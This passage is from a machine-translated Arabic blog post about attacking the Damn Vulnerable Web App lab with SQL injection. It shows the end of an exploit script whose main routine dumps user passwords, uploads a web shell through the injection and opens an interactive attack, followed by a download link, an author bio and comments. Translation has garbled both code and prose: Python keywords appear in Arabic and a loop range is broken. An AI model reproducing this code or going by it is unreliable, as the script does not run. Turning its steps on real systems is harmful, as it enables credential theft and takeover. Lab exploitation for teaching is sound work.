  findMySQLInfo(adminCookie)
 
  #البحث عن عدد السجلات في جدول المستخدمين
  totalRecords = الباحث(findNoOfRecordsInTable(adminCookie))
 
  طباعة(CYAN + "[+] Retriving اسم المستخدم وكلمات السر ...")
 
  إلى مؤشر في نطاق(1,totalRecords 1):
    #تفريغ كلمات المرور استخدام
    findUserPasswords(adminCookie, مؤشر)
 
  #تحميل tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #بدء هجوم التفاعلية
  interactiveAttack(adminCookie)
 
إذا __name__ == "__main__":
    رئيسي()

تحميل لعنة الضعيفة تطبيق ويب – SQL حقن أوفدها مركز العمليات

 

DVWA_SQLi.zip

 
شكرا لأخذ وقتك لقراءة هذا المقال. إذا كنت تواجه أي مشكلة, لا تتردد في الكتابة إلينا على: hacksysteam@hotmail.com

 
 

178,059 مجموع المشاهدات, 40 مشاهدات اليوم

اللسانين التالية تغيير المحتوى أدناه.

أشفق الأنصاري

باحث الأمن
أشفق الأنصاري هو مؤسس HackSys كود فريق اسمه "النمر". فهو باحث الأمن ذوي الخبرة في مختلف جوانب أمن المعلومات. قام بتأليف انه "HackSys المتطرفة سائق الضعفاء" و "Shellcode من الموت". وقد كتب أيضا ونشرت صفحات بيضاء مختلفة على استغلال البرمجيات على مستوى منخفض. اهتمامه الأساسية تكمن في "انخفاض مستوى الاستغلال", "الهندسة العكسية", "تحليل البرنامج" و "الهجين التضبيب". وهو بوي الذكاء الاصطناعي وآلة التعلم. وهو يؤدي الفصل ل اغية بيون.

أحدث المشاركات التي كتبها أشفق الأنصاري (انظر جميع)

لا الردود على “لعنة الضعيفة تطبيق ويب – حقن SQL”

تركبكس / pingbacks

  1. لعنة الضعيفة تطبيق ويب - إدراج ملف محلي (LFI) | HackSys الفريق - الكمبيوتر أبحاث الأمن, اختبار الاختراق, القرصنة الأخلاقية, Windows الدعم الفني - [...] كنت لم أقرأ الجزء الأول, هنا هو الرابط: HTTP://hacksys.vfreaks.com / القلم اختبار / لعنة الضعيفة-WEB-APP-SQL-injection.html [...]

ترك الرد

لن يتم نشر عنوان بريدك الإلكتروني. يتم وضع علامة الحقول المطلوبة *